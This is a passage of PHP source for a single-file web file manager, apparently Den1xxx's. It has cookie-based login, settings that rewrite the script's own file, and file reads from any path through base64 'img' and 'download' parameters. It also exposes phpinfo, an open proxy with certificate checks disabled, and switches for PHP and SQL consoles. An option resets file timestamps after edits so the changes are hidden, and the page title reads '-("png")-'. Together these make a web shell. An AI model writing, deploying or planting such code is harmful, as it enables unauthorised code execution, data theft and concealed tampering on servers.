	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title>-("png")-</title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
sd<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>

</table>
sd<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
